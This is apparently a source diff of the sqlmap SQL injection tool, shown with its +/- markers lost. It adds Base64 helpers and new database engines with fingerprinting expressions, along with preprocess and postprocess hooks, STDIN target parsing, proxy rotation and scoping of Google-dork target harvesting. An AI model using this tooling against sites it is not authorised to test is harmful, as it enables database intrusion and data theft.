"""
if value is None:
return None
padding = b'=' if isinstance(value, bytes) else '='
# Reference: https://stackoverflow.com/a/49459036
if not value.endswith(padding):
value += 3 * padding
# Reference: https://en.wikipedia.org/wiki/Base64#URL_applications
# Reference: https://perldoc.perl.org/MIME/Base64.html
if isinstance(value, bytes):
value = value.replace(b'-', b'+').replace(b'_', b'/')
else:
value = value.replace('-', '+').replace('_', '/')
retVal = base64.b64decode(value)
if not binary:
@@ -207,16 +231,23 @@ def decodeBase64(value, binary=True, encoding=None):
return retVal
def encodeBase64(value, binary=True, encoding=None):
def encodeBase64(value, binary=True, encoding=None, padding=True, safe=False):
"""
Returns a decoded representation of provided Base64 value
>>> encodeBase64(b"123") == b"MTIz"
True
>>> encodeBase64(u"123", binary=False)
'MTIz'
>>> encodeBase64(u"1234", binary=False)
'MTIzNA=='
>>> encodeBase64(u"1234", binary=False, padding=False)
'MTIzNA'
>>> encodeBase64(decodeBase64("A-B_CDE"), binary=False, safe=True)
'A-B_CDE'
"""
if value is None:
return None
if isinstance(value, six.text_type):
value = value.encode(encoding or UNICODE_ENCODING)
@@ -225,6 +256,19 @@ def encodeBase64(value, binary=True, encoding=None):
if not binary:
retVal = getText(retVal, encoding)
if safe:
padding = False
# Reference: https://en.wikipedia.org/wiki/Base64#URL_applications
# Reference: https://perldoc.perl.org/MIME/Base64.html
if isinstance(retVal, bytes):
retVal = retVal.replace(b'+', b'-').replace(b'/', b'_')
else:
retVal = retVal.replace('+', '-').replace('/', '_')
if not padding:
retVal = retVal.rstrip(b'=' if isinstance(retVal, bytes) else '=')
return retVal
def getBytes(value, encoding=None, errors="strict", unsafe=True):
@@ -256,7 +300,10 @@ def getBytes(value, encoding=None, errors="strict", unsafe=True):
if unsafe:
retVal = re.sub(r"%s([0-9a-f]{2})" % SAFE_HEX_MARKER, lambda _: decodeHex(_.group(1)), retVal)
else:
retVal = value.encode(encoding, errors)
try:
retVal = value.encode(encoding, errors)
except UnicodeError:
retVal = value.encode(UNICODE_ENCODING, errors="replace")
if unsafe:
retVal = re.sub(b"\\\\x([0-9a-f]{2})", lambda _: decodeHex(_.group(1)), retVal)
+10 -7
View File
@@ -39,16 +39,19 @@ def cachedmethod(f):
@functools.wraps(f)
def _f(*args, **kwargs):
key = int(hashlib.md5("|".join(str(_) for _ in (f, args, kwargs)).encode(UNICODE_ENCODING)).hexdigest(), 16) & 0x7fffffffffffffff
try:
with _cache_lock:
result = _cache[f][key]
except KeyError:
key = int(hashlib.md5("|".join(str(_) for _ in (f, args, kwargs)).encode(UNICODE_ENCODING)).hexdigest(), 16) & 0x7fffffffffffffff
except ValueError: # https://github.com/sqlmapproject/sqlmap/issues/4281 (NOTE: non-standard Python behavior where hexdigest returns binary value)
result = f(*args, **kwargs)
else:
try:
with _cache_lock:
result = _cache[f][key]
except KeyError:
result = f(*args, **kwargs)
with _cache_lock:
_cache[f][key] = result
with _cache_lock:
_cache[f][key] = result
return result
+1
View File
@@ -15,6 +15,7 @@ _defaults = {
"delay": 0,
"timeout": 30,
"retries": 3,
"csrfRetries": 0,
"saFreq": 0,
"threads": 1,
"level": 1,
+39 -1
View File
@@ -12,9 +12,14 @@ from lib.core.enums import POST_HINT
from lib.core.settings import ACCESS_ALIASES
from lib.core.settings import ALTIBASE_ALIASES
from lib.core.settings import BLANK
from lib.core.settings import CACHE_ALIASES
from lib.core.settings import CRATEDB_ALIASES
from lib.core.settings import CUBRID_ALIASES
from lib.core.settings import DB2_ALIASES
from lib.core.settings import DERBY_ALIASES
from lib.core.settings import EXTREMEDB_ALIASES
from lib.core.settings import FIREBIRD_ALIASES
from lib.core.settings import FRONTBASE_ALIASES
from lib.core.settings import H2_ALIASES
from lib.core.settings import HSQLDB_ALIASES
from lib.core.settings import INFORMIX_ALIASES
@@ -115,6 +120,28 @@ SYBASE_TYPES = {
20: "image",
}
ALTIBASE_TYPES = {
1: "CHAR",
12: "VARCHAR",
-8: "NCHAR",
-9: "NVARCHAR",
2: "NUMERIC",
6: "FLOAT",
8: "DOUBLE",
7: "REAL",
-5: "BIGINT",
4: "INTEGER",
5: "SMALLINT",
9: "DATE",
30: "BLOB",
40: "CLOB",
20001: "BYTE",
20002: "NIBBLE",
-7: "BIT",
-100: "VARBIT",
10003: "GEOMETRY",
}
MYSQL_PRIVS = {
1: "select_priv",
2: "insert_priv",
@@ -212,6 +239,11 @@ DBMS_DICT = {
DBMS.PRESTO: (PRESTO_ALIASES, "presto-python-client", "https://github.com/prestodb/presto-python-client", None),
DBMS.ALTIBASE: (ALTIBASE_ALIASES, None, None, None),
DBMS.MIMERSQL: (MIMERSQL_ALIASES, "mimerpy", "https://github.com/mimersql/MimerPy", None),
DBMS.CRATEDB: (CRATEDB_ALIASES, "python-psycopg2", "http://initd.org/psycopg/", "postgresql"),
DBMS.CUBRID: (CUBRID_ALIASES, "CUBRID-Python", "https://github.com/CUBRID/cubrid-python", None),
DBMS.CACHE: (CACHE_ALIASES, "python jaydebeapi & python-jpype", "https://pypi.python.org/pypi/JayDeBeApi/ & http://jpype.sourceforge.net/", None),
DBMS.EXTREMEDB: (EXTREMEDB_ALIASES, None, None, None),
DBMS.FRONTBASE: (FRONTBASE_ALIASES, None, None, None),
}
# Reference: https://blog.jooq.org/tag/sysibm-sysdummy1/
@@ -225,6 +257,7 @@ FROM_DUMMY_TABLE = {
DBMS.INFORMIX: " FROM SYSMASTER:SYSDUAL",
DBMS.DERBY: " FROM SYSIBM.SYSDUMMY1",
DBMS.MIMERSQL: " FROM SYSTEM.ONEROW",
DBMS.FRONTBASE: " FROM INFORMATION_SCHEMA.IO_STATISTICS"
}
HEURISTIC_NULL_EVAL = {
@@ -235,13 +268,18 @@ HEURISTIC_NULL_EVAL = {
DBMS.ORACLE: "INSTR2(NULL,NULL)",
DBMS.PGSQL: "QUOTE_IDENT(NULL)",
DBMS.SQLITE: "UNLIKELY(NULL)",
DBMS.H2: "STRINGTOUTF8(NULL)",
DBMS.MONETDB: "CODE(NULL)",
DBMS.DERBY: "NULLIF(USER,SESSION_USER)",
DBMS.VERTICA: "BITSTRING_TO_BINARY(NULL)",
DBMS.MCKOI: "TONUMBER(NULL)",
DBMS.PRESTO: "FROM_HEX(NULL)",
DBMS.ALTIBASE: "TDESENCRYPT(NULL,NULL)",
DBMS.MIMERSQL: "ASCII_CHAR(256) IS NULL",
DBMS.MIMERSQL: "ASCII_CHAR(256)",
DBMS.CRATEDB: "MD5(NULL~NULL)", # Note: NULL~NULL also being evaluated on H2 and Ignite
DBMS.CUBRID: "(NULL SETEQ NULL)",
DBMS.CACHE: "%SQLUPPER NULL",
DBMS.EXTREMEDB: "NULLIFZERO(hashcode(NULL))",
}
SQL_STATEMENTS = {
+6 -8
View File
@@ -72,7 +72,7 @@ class Dump(object):
text = "%s%s" % (data, "\n" if newline else " ")
if conf.api:
dataToStdout(data, content_type=content_type, status=CONTENT_STATUS.COMPLETE)
dataToStdout(data, contentType=content_type, status=CONTENT_STATUS.COMPLETE)
elif console:
dataToStdout(text)
@@ -164,12 +164,10 @@ class Dump(object):
self.string("current user", data, content_type=CONTENT_TYPE.CURRENT_USER)
def currentDb(self, data):
if Backend.isDbms(DBMS.MAXDB):
self.string("current database (no practical usage on %s)" % Backend.getIdentifiedDbms(), data, content_type=CONTENT_TYPE.CURRENT_DB)
elif Backend.getIdentifiedDbms() in (DBMS.ORACLE, DBMS.PGSQL, DBMS.HSQLDB, DBMS.H2, DBMS.MONETDB, DBMS.VERTICA):
self.string("current schema (equivalent to database on %s)" % Backend.getIdentifiedDbms(), data, content_type=CONTENT_TYPE.CURRENT_DB)
elif Backend.getIdentifiedDbms() in (DBMS.ALTIBASE, DBMS.MIMERSQL):
self.string("current user (equivalent to database on %s)" % Backend.getIdentifiedDbms(), data, content_type=CONTENT_TYPE.CURRENT_DB)
if Backend.getIdentifiedDbms() in (DBMS.ORACLE, DBMS.PGSQL, DBMS.HSQLDB, DBMS.H2, DBMS.MONETDB, DBMS.VERTICA, DBMS.CRATEDB, DBMS.CACHE, DBMS.FRONTBASE):
self.string("current database (equivalent to schema on %s)" % Backend.getIdentifiedDbms(), data, content_type=CONTENT_TYPE.CURRENT_DB)
elif Backend.getIdentifiedDbms() in (DBMS.ALTIBASE, DBMS.DB2, DBMS.MIMERSQL, DBMS.MAXDB):
self.string("current database (equivalent to owner on %s)" % Backend.getIdentifiedDbms(), data, content_type=CONTENT_TYPE.CURRENT_DB)
else:
self.string("current database", data, content_type=CONTENT_TYPE.CURRENT_DB)
@@ -243,7 +241,7 @@ class Dump(object):
lines = "-" * (int(maxlength) + 2)
for db, tables in dbTables.items():
tables.sort()
tables = sorted(filter(None, tables))
self._write("Database: %s" % unsafeSQLIdentificatorNaming(db) if db else "Current database")
+23 -1
View File
@@ -52,6 +52,11 @@ class DBMS(object):
PRESTO = "Presto"
ALTIBASE = "Altibase"
MIMERSQL = "MimerSQL"
CRATEDB = "CrateDB"
CUBRID = "Cubrid"
CACHE = "InterSystems Cache"
EXTREMEDB = "eXtremeDB"
FRONTBASE = "FrontBase"
class DBMS_DIRECTORY_NAME(object):
ACCESS = "access"
@@ -74,6 +79,11 @@ class DBMS_DIRECTORY_NAME(object):
PRESTO = "presto"
ALTIBASE = "altibase"
MIMERSQL = "mimersql"
CRATEDB = "cratedb"
CUBRID = "cubrid"
CACHE = "cache"
EXTREMEDB = "extremedb"
FRONTBASE = "frontbase"
class FORK(object):
MARIADB = "MariaDB"
@@ -83,6 +93,12 @@ class FORK(object):
TIDB = "TiDB"
REDSHIFT = "Amazon Redshift"
GREENPLUM = "Greenplum"
DRIZZLE = "Drizzle"
IGNITE = "Apache Ignite"
AURORA = "Aurora"
ENTERPRISEDB = "EnterpriseDB"
YELLOWBRICK = "Yellowbrick"
IRIS = "Iris"
class CUSTOM_LOGGING(object):
PAYLOAD = 9
@@ -161,7 +177,7 @@ class HASH(object):
SHA512_GENERIC = r'(?i)\A(0x)?[0-9a-f]{128}\Z'
CRYPT_GENERIC = r'\A(?!\d{1,3}\.\d{1,3}\.\d{1,3}\.\d{1,3}\Z)(?![0-9]+\Z)[./0-9A-Za-z]{13}\Z'
JOOMLA = r'\A[0-9a-f]{32}:\w{32}\Z'
WORDPRESS = r'\A\$P\$[./0-9a-zA-Z]{31}\Z'
PHPASS = r'\A\$[PHQS]\$[./0-9a-zA-Z]{31}\Z'
APACHE_MD5_CRYPT = r'\A\$apr1\$.{1,8}\$[./a-zA-Z0-9]+\Z'
UNIX_MD5_CRYPT = r'\A\$1\$.{1,8}\$[./a-zA-Z0-9]+\Z'
APACHE_SHA1 = r'\A\{SHA\}[a-zA-Z0-9+/]+={0,2}\Z'
@@ -223,6 +239,7 @@ class HTTP_HEADER(object):
EXPIRES = "Expires"
HOST = "Host"
IF_MODIFIED_SINCE = "If-Modified-Since"
IF_NONE_MATCH = "If-None-Match"
LAST_MODIFIED = "Last-Modified"
LOCATION = "Location"
PRAGMA = "Pragma"
@@ -412,3 +429,8 @@ class TIMEOUT_STATE(object):
class HINT(object):
PREPEND = 0
APPEND = 1
class FUZZ_UNION_COLUMN:
STRING = "<string>"
INTEGER = "<integer>"
NULL = "NULL"
+73 -1
View File
@@ -6,6 +6,7 @@ See the file 'LICENSE' for copying permission
"""
import logging
import re
import sys
from lib.core.enums import CUSTOM_LOGGING
@@ -20,6 +21,77 @@ LOGGER_HANDLER = None
try:
from thirdparty.ansistrm.ansistrm import ColorizingStreamHandler
class _ColorizingStreamHandler(ColorizingStreamHandler):
def colorize(self, message, levelno):
if levelno in self.level_map and self.is_tty:
bg, fg, bold = self.level_map[levelno]
params = []
if bg in self.color_map:
params.append(str(self.color_map[bg] + 40))
if fg in self.color_map:
params.append(str(self.color_map[fg] + 30))
if bold:
params.append('1')
if params and message:
match = re.search(r"\A(\s+)", message)
prefix = match.group(1) if match else ""
message = message[len(prefix):]
match = re.search(r"\[([A-Z ]+)\]", message) # log level
if match:
level = match.group(1)
if message.startswith(self.bold):
message = message.replace(self.bold, "")
reset = self.reset + self.bold
params.append('1')
else:
reset = self.reset
message = message.replace(level, ''.join((self.csi, ';'.join(params), 'm', level, reset)), 1)
match = re.search(r"\A\s*\[([\d:]+)\]", message) # time
if match:
time = match.group(1)
message = message.replace(time, ''.join((self.csi, str(self.color_map["cyan"] + 30), 'm', time, self._reset(message))), 1)
match = re.search(r"\[(#\d+)\]", message) # counter
if match:
counter = match.group(1)
message = message.replace(counter, ''.join((self.csi, str(self.color_map["yellow"] + 30), 'm', counter, self._reset(message))), 1)
if level != "PAYLOAD":
if any(_ in message for _ in ("parsed DBMS error message",)):
match = re.search(r": '(.+)'", message)
if match:
string = match.group(1)
message = message.replace("'%s'" % string, "'%s'" % ''.join((self.csi, str(self.color_map["white"] + 30), 'm', string, self._reset(message))), 1)
else:
match = re.search(r"\bresumed: '(.+\.\.\.)", message)
if match:
string = match.group(1)
message = message.replace("'%s" % string, "'%s" % ''.join((self.csi, str(self.color_map["white"] + 30), 'm', string, self._reset(message))), 1)
else:
match = re.search(r" \('(.+)'\)\Z", message) or re.search(r"output: '(.+)'\Z", message)
if match:
string = match.group(1)
message = message.replace("'%s'" % string, "'%s'" % ''.join((self.csi, str(self.color_map["white"] + 30), 'm', string, self._reset(message))), 1)
else:
for match in re.finditer(r"[^\w]'([^']+)'", message): # single-quoted
string = match.group(1)
message = message.replace("'%s'" % string, "'%s'" % ''.join((self.csi, str(self.color_map["white"] + 30), 'm', string, self._reset(message))), 1)
else:
message = ''.join((self.csi, ';'.join(params), 'm', message, self.reset))
if prefix:
message = "%s%s" % (prefix, message)
message = message.replace("%s]" % self.bold, "]%s" % self.bold) # dirty patch
return message
disableColor = False
for argument in sys.argv:
@@ -30,7 +102,7 @@ try:
if disableColor:
LOGGER_HANDLER = logging.StreamHandler(sys.stdout)
else:
LOGGER_HANDLER = ColorizingStreamHandler(sys.stdout)
LOGGER_HANDLER = _ColorizingStreamHandler(sys.stdout)
LOGGER_HANDLER.level_map[logging.getLevelName("PAYLOAD")] = (None, "cyan", False)
LOGGER_HANDLER.level_map[logging.getLevelName("TRAFFIC OUT")] = (None, "magenta", False)
LOGGER_HANDLER.level_map[logging.getLevelName("TRAFFIC IN")] = ("magenta", None, False)
+165 -39
View File
@@ -8,6 +8,7 @@ See the file 'LICENSE' for copying permission
from __future__ import division
import codecs
import collections
import functools
import glob
import inspect
@@ -93,7 +94,6 @@ from lib.core.exception import SqlmapInstallationException
from lib.core.exception import SqlmapMissingDependence
from lib.core.exception import SqlmapMissingMandatoryOptionException
from lib.core.exception import SqlmapMissingPrivileges
from lib.core.exception import SqlmapNoneDataException
from lib.core.exception import SqlmapSilentQuitException
from lib.core.exception import SqlmapSyntaxException
from lib.core.exception import SqlmapSystemException
@@ -371,7 +371,7 @@ def _doSearch():
for link in links:
link = urldecode(link)
if re.search(r"(.*?)\?(.+)", link):
if re.search(r"(.*?)\?(.+)", link) or conf.forms:
kb.targets.add((link, conf.method, conf.data, conf.cookie, None))
elif re.search(URI_INJECTABLE_REGEX, link, re.I):
if kb.data.onlyGETs is None and conf.data is None and not conf.googleDork:
@@ -387,14 +387,18 @@ def _doSearch():
if kb.targets:
infoMsg = "found %d results for your " % len(links)
infoMsg += "search dork expression, "
infoMsg += "search dork expression"
if len(links) == len(kb.targets):
infoMsg += "all "
else:
infoMsg += "%d " % len(kb.targets)
if not conf.forms:
infoMsg += ", "
if len(links) == len(kb.targets):
infoMsg += "all "
else:
infoMsg += "%d " % len(kb.targets)
infoMsg += "of them are testable targets"
infoMsg += "of them are testable targets"
logger.info(infoMsg)
break
@@ -409,6 +413,37 @@ def _doSearch():
else:
conf.googlePage += 1
def _setStdinPipeTargets():
if isinstance(conf.stdinPipe, collections.Iterable):
infoMsg = "using 'STDIN' for parsing targets list"
logger.info(infoMsg)
class _(object):
def __init__(self):
self.__rest = OrderedSet()
def __iter__(self):
return self
def __next__(self):
return self.next()
def next(self):
line = next(conf.stdinPipe)
if line:
match = re.search(r"\b(https?://[^\s'\"]+|[\w.]+\.\w{2,3}[/\w+]*\?[^\s'\"]+)", line, re.I)
if match:
return (match.group(0), conf.method, conf.data, conf.cookie, None)
elif self.__rest:
return self.__rest.pop()
raise StopIteration()
def add(self, elem):
self.__rest.add(elem)
kb.targets = _()
def _setBulkMultipleTargets():
if not conf.bulkFile:
return
@@ -425,7 +460,10 @@ def _setBulkMultipleTargets():
found = False
for line in getFileItems(conf.bulkFile):
if re.match(r"[^ ]+\?(.+)", line, re.I) or kb.customInjectionMark in line:
if conf.scope and not re.search(conf.scope, line, re.I):
continue
if re.match(r"[^ ]+\?(.+)", line, re.I) or kb.customInjectionMark in line or conf.data:
found = True
kb.targets.add((line.strip(), conf.method, conf.data, conf.cookie, None))
@@ -676,7 +714,7 @@ def _setDBMS():
logger.debug(debugMsg)
conf.dbms = conf.dbms.lower()
regex = re.search(r"%s ([\d\.]+)" % ("(%s)" % "|".join([alias for alias in SUPPORTED_DBMS])), conf.dbms, re.I)
regex = re.search(r"%s ([\d\.]+)" % ("(%s)" % "|".join(SUPPORTED_DBMS)), conf.dbms, re.I)
if regex:
conf.dbms = regex.group(1)
@@ -819,7 +857,7 @@ def _setTamperingFunctions():
def _setPreprocessFunctions():
"""
Loads preprocess functions from given script(s)
Loads preprocess function(s) from given script(s)
"""
if conf.preprocess:
@@ -864,17 +902,95 @@ def _setPreprocessFunctions():
raise SqlmapSyntaxException("cannot import preprocess module '%s' (%s)" % (getUnicode(filename[:-3]), getSafeExString(ex)))
for name, function in inspect.getmembers(module, inspect.isfunction):
if name == "preprocess" and inspect.getargspec(function).args and all(_ in inspect.getargspec(function).args for _ in ("page", "headers", "code")):
try:
if name == "preprocess" and inspect.getargspec(function).args and all(_ in inspect.getargspec(function).args for _ in ("req",)):
found = True
kb.preprocessFunctions.append(function)
function.__name__ = module.__name__
break
except ValueError: # Note: https://github.com/sqlmapproject/sqlmap/issues/4357
pass
if not found:
errMsg = "missing function 'preprocess(req)' "
errMsg += "in preprocess script '%s'" % script
raise SqlmapGenericException(errMsg)
else:
try:
function(_urllib.request.Request("http://localhost"))
except:
handle, filename = tempfile.mkstemp(prefix=MKSTEMP_PREFIX.PREPROCESS, suffix=".py")
os.close(handle)
openFile(filename, "w+b").write("#!/usr/bin/env\n\ndef preprocess(req):\n pass\n")
openFile(os.path.join(os.path.dirname(filename), "__init__.py"), "w+b").write("pass")
errMsg = "function 'preprocess(req)' "
errMsg += "in preprocess script '%s' " % script
errMsg += "appears to be invalid "
errMsg += "(Note: find template script at '%s')" % filename
raise SqlmapGenericException(errMsg)
def _setPostprocessFunctions():
"""
Loads postprocess function(s) from given script(s)
"""
if conf.postprocess:
for script in re.split(PARAMETER_SPLITTING_REGEX, conf.postprocess):
found = False
function = None
script = safeFilepathEncode(script.strip())
try:
if not script:
continue
if not os.path.exists(script):
errMsg = "postprocess script '%s' does not exist" % script
raise SqlmapFilePathException(errMsg)
elif not script.endswith(".py"):
errMsg = "postprocess script '%s' should have an extension '.py'" % script
raise SqlmapSyntaxException(errMsg)
except UnicodeDecodeError:
errMsg = "invalid character provided in option '--postprocess'"
raise SqlmapSyntaxException(errMsg)
dirname, filename = os.path.split(script)
dirname = os.path.abspath(dirname)
infoMsg = "loading postprocess module '%s'" % filename[:-3]
logger.info(infoMsg)
if not os.path.exists(os.path.join(dirname, "__init__.py")):
errMsg = "make sure that there is an empty file '__init__.py' "
errMsg += "inside of postprocess scripts directory '%s'" % dirname
raise SqlmapGenericException(errMsg)
if dirname not in sys.path:
sys.path.insert(0, dirname)
try:
module = __import__(safeFilepathEncode(filename[:-3]))
except Exception as ex:
raise SqlmapSyntaxException("cannot import postprocess module '%s' (%s)" % (getUnicode(filename[:-3]), getSafeExString(ex)))
for name, function in inspect.getmembers(module, inspect.isfunction):
if name == "postprocess" and inspect.getargspec(function).args and all(_ in inspect.getargspec(function).args for _ in ("page", "headers", "code")):
found = True
kb.preprocessFunctions.append(function)
kb.postprocessFunctions.append(function)
function.__name__ = module.__name__
break
if not found:
errMsg = "missing function 'preprocess(page, headers=None, code=None)' "
errMsg += "in preprocess script '%s'" % script
errMsg = "missing function 'postprocess(page, headers=None, code=None)' "
errMsg += "in postprocess script '%s'" % script
raise SqlmapGenericException(errMsg)
else:
try:
@@ -883,11 +999,11 @@ def _setPreprocessFunctions():
handle, filename = tempfile.mkstemp(prefix=MKSTEMP_PREFIX.PREPROCESS, suffix=".py")
os.close(handle)
open(filename, "w+b").write("#!/usr/bin/env\n\ndef preprocess(page, headers=None, code=None):\n return page, headers, code\n")
open(os.path.join(os.path.dirname(filename), "__init__.py"), "w+b").write("pass")
openFile(filename, "w+b").write("#!/usr/bin/env\n\ndef postprocess(page, headers=None, code=None):\n return page, headers, code\n")
openFile(os.path.join(os.path.dirname(filename), "__init__.py"), "w+b").write("pass")
errMsg = "function 'preprocess(page, headers=None, code=None)' "
errMsg += "in preprocess script '%s' " % script
errMsg = "function 'postprocess(page, headers=None, code=None)' "
errMsg += "in postprocess script '%s' " % script
errMsg += "should return a tuple '(page, headers, code)' "
errMsg += "(Note: find template script at '%s')" % filename
raise SqlmapGenericException(errMsg)
@@ -976,16 +1092,13 @@ def _setHTTPHandlers():
"""
with kb.locks.handlers:
if conf.proxyList is not None:
if not conf.proxyList:
errMsg = "list of usable proxies is exhausted"
raise SqlmapNoneDataException(errMsg)
if conf.proxyList:
conf.proxy = conf.proxyList[0]
conf.proxyList = conf.proxyList[1:]
conf.proxyList = conf.proxyList[1:] + conf.proxyList[:1]
infoMsg = "loading proxy '%s' from a supplied proxy list file" % conf.proxy
logger.info(infoMsg)
if len(conf.proxyList) > 1:
infoMsg = "loading proxy '%s' from a supplied proxy list file" % conf.proxy
logger.info(infoMsg)
elif not conf.proxy:
if conf.hostname in ("localhost", "127.0.0.1") or conf.ignoreProxy:
@@ -1447,8 +1560,8 @@ def _createHomeDirectories():
if conf.get("purge"):
return
for context in "output", "history":
directory = paths["SQLMAP_%s_PATH" % context.upper()]
for context in ("output", "history"):
directory = paths["SQLMAP_%s_PATH" % getUnicode(context).upper()] # NOTE: https://github.com/sqlmapproject/sqlmap/issues/4363
try:
if not os.path.isdir(directory):
os.makedirs(directory)
@@ -1550,7 +1663,8 @@ def _cleanupOptions():
for key, value in conf.items():
if value and any(key.endswith(_) for _ in ("Path", "File", "Dir")):
conf[key] = safeExpandUser(value)
if isinstance(value, str):
conf[key] = safeExpandUser(value)
if conf.testParameter:
conf.testParameter = urldecode(conf.testParameter)
@@ -1577,7 +1691,7 @@ def _cleanupOptions():
if conf.base64Parameter:
conf.base64Parameter = urldecode(conf.base64Parameter)
conf.base64Parameter = conf.base64Parameter.replace(" ", "")
conf.base64Parameter = conf.base64Parameter.strip()
conf.base64Parameter = re.split(PARAMETER_SPLITTING_REGEX, conf.base64Parameter)
else:
conf.base64Parameter = []
@@ -1759,6 +1873,8 @@ def _cleanupOptions():
if not regex:
conf.exclude = re.sub(r"\s*,\s*", ',', conf.exclude)
conf.exclude = r"\A%s\Z" % '|'.join(re.escape(_) for _ in conf.exclude.split(','))
else:
conf.exclude = re.sub(r"(\w+)\$", r"\g<1>\$", conf.exclude)
if conf.binaryFields:
conf.binaryFields = conf.binaryFields.replace(" ", "")
@@ -1853,6 +1969,7 @@ def _setKnowledgeBaseAttributes(flushAll=True):
kb.arch = None
kb.authHeader = None
kb.bannerFp = AttribDict()
kb.base64Originals = {}
kb.binaryField = False
kb.browserVerification = None
@@ -1864,6 +1981,7 @@ def _setKnowledgeBaseAttributes(flushAll=True):
kb.cache.content = {}
kb.cache.encoding = {}
kb.cache.alphaBoundaries = None
kb.cache.hashRegex = None
kb.cache.intBoundaries = None
kb.cache.parsedDbms = {}
kb.cache.regex = {}
@@ -1913,6 +2031,7 @@ def _setKnowledgeBaseAttributes(flushAll=True):
kb.errorIsNone = True
kb.falsePositives = []
kb.fileReadMode = False
kb.fingerprinted = False
kb.followSitemapRecursion = None
kb.forcedDbms = None
kb.forcePartialUnion = False
@@ -1920,6 +2039,7 @@ def _setKnowledgeBaseAttributes(flushAll=True):
kb.forceWhere = None
kb.forkNote = None
kb.futileUnion = None
kb.fuzzUnionTest = None
kb.heavilyDynamic = False
kb.headersFile = None
kb.headersFp = {}
@@ -1938,12 +2058,12 @@ def _setKnowledgeBaseAttributes(flushAll=True):
kb.identifiedWafs = set()
kb.injection = InjectionDict()
kb.injections = []
kb.jsonAggMode = False
kb.laggingChecked = False
kb.lastParserStatus = None
kb.lastCtrlCTime = None
kb.locks = AttribDict()
for _ in ("cache", "connError", "count", "handlers", "hint", "index", "io", "limit", "log", "socket", "redirect", "request", "value"):
for _ in ("cache", "connError", "count", "handlers", "hint", "index", "io", "limit", "liveCookies", "log", "socket", "redirect", "request", "value"):
kb.locks[_] = threading.Lock()
kb.matchRatio = None
@@ -1951,6 +2071,7 @@ def _setKnowledgeBaseAttributes(flushAll=True):
kb.mergeCookies = None
kb.multipleCtrlC = False
kb.negativeLogic = False
kb.nchar = True
kb.nullConnection = None
kb.oldMsf = None
kb.orderByColumns = None
@@ -1993,7 +2114,6 @@ def _setKnowledgeBaseAttributes(flushAll=True):
kb.responseTimeMode = None
kb.responseTimePayload = None
kb.resumeValues = True
kb.rowXmlMode = False
kb.safeCharEncode = False
kb.safeReq = AttribDict()
kb.secondReq = None
@@ -2002,10 +2122,11 @@ def _setKnowledgeBaseAttributes(flushAll=True):
kb.skipSeqMatcher = False
kb.smokeMode = False
kb.reduceTests = None
kb.tlsSNI = {}
kb.sslSuccess = False
kb.stickyDBMS = False
kb.storeHashesChoice = None
kb.suppressResumeInfo = False
kb.tableExistsChoice = None
kb.tableFrom = None
kb.technique = None
kb.tempDir = None
@@ -2015,10 +2136,11 @@ def _setKnowledgeBaseAttributes(flushAll=True):
kb.testType = None
kb.threadContinue = True
kb.threadException = False
kb.tableExistsChoice = None
kb.tlsSNI = {}
kb.uChar = NULL
kb.udfFail = False
kb.unionDuplicates = False
kb.unionTemplate = None
kb.webSocketRecvCount = None
kb.wizardMode = False
kb.xpCmdshellAvailable = False
@@ -2027,8 +2149,10 @@ def _setKnowledgeBaseAttributes(flushAll=True):
kb.checkSitemap = None
kb.headerPaths = {}
kb.keywords = set(getFileItems(paths.SQL_KEYWORDS))
kb.lastCtrlCTime = None
kb.normalizeCrawlingChoice = None
kb.passwordMgr = None
kb.postprocessFunctions = []
kb.preprocessFunctions = []
kb.skipVulnHost = None
kb.storeCrawlingChoice = None
@@ -2055,11 +2179,11 @@ def _useWizardInterface():
message = "Please enter full target URL (-u): "
conf.url = readInput(message, default=None)
message = "%s data (--data) [Enter for None]: " % ((conf.method if conf.method != HTTPMETHOD.GET else conf.method) or HTTPMETHOD.POST)
message = "%s data (--data) [Enter for None]: " % ((conf.method if conf.method != HTTPMETHOD.GET else None) or HTTPMETHOD.POST)
conf.data = readInput(message, default=None)
if not (any('=' in _ for _ in (conf.url, conf.data)) or '*' in conf.url):
warnMsg = "no GET and/or %s parameter(s) found for testing " % ((conf.method if conf.method != HTTPMETHOD.GET else conf.method) or HTTPMETHOD.POST)
warnMsg = "no GET and/or %s parameter(s) found for testing " % ((conf.method if conf.method != HTTPMETHOD.GET else None) or HTTPMETHOD.POST)
warnMsg += "(e.g. GET parameter 'id' in 'http://www.site.com/vuln.php?id=1'). "
if not conf.crawlDepth and not conf.forms:
warnMsg += "Will search for forms"
@@ -2675,6 +2799,7 @@ def init():
_listTamperingFunctions()
_setTamperingFunctions()
_setPreprocessFunctions()
_setPostprocessFunctions()
_setTrafficOutputFP()
_setupHTTPCollector()
_setHttpChunked()
@@ -2682,7 +2807,7 @@ def init():
parseTargetDirect()
if any((conf.url, conf.logFile, conf.bulkFile, conf.requestFile, conf.googleDork)):
if any((conf.url, conf.logFile, conf.bulkFile, conf.requestFile, conf.googleDork, conf.stdinPipe)):
_setHostname()
_setHTTPTimeout()
_setHTTPExtraHeaders()
@@ -2696,6 +2821,7 @@ def init():
_setSocketPreConnect()
_setSafeVisit()
_doSearch()
_setStdinPipeTargets()
_setBulkMultipleTargets()
_checkTor()
_setCrawler()
+6
View File
@@ -27,6 +27,7 @@ optDict = {
"paramDel": "string",
"cookie": "string",
"cookieDel": "string",
"liveCookies": "string",
"loadCookies": "string",
"dropSetCookie": "boolean",
"agent": "string",
@@ -61,6 +62,7 @@ optDict = {
"csrfToken": "string",
"csrfUrl": "string",
"csrfMethod": "string",
"csrfRetries": "integer",
"forceSSL": "boolean",
"chunked": "boolean",
"hpp": "boolean",
@@ -201,6 +203,8 @@ optDict = {
"trafficFile": "string",
"answers": "string",
"batch": "boolean",
"base64Parameter": "string",
"base64Safe": "boolean",
"binaryFields": "string",
"charset": "string",
"checkInternet": "boolean",
@@ -219,10 +223,12 @@ optDict = {
"hexConvert": "boolean",
"outputDir": "string",
"parseErrors": "boolean",
"postprocess": "string",
"preprocess": "string",
"repair": "boolean",
"saveConfig": "string",
"scope": "string",
"skipHeuristics": "boolean",
"skipWaf": "boolean",
"testFilter": "string",
"testSkip": "string",
+48 -1
View File
@@ -6,6 +6,8 @@ See the file 'LICENSE' for copying permission
"""
import codecs
import os
import random
import lib.controller.checks
import lib.core.common
@@ -25,6 +27,7 @@ from lib.core.common import isListLike
from lib.core.common import readInput
from lib.core.common import shellExec
from lib.core.common import singleTimeWarnMessage
from lib.core.compat import xrange
from lib.core.convert import stdoutEncode
from lib.core.data import conf
from lib.core.option import _setHTTPHandlers
@@ -34,6 +37,8 @@ from lib.request.templates import getPageTemplate
from thirdparty import six
from thirdparty.six.moves import http_client as _http_client
_rand = 0
def dirtyPatches():
"""
Place for "dirty" Python related patches
@@ -46,8 +51,9 @@ def dirtyPatches():
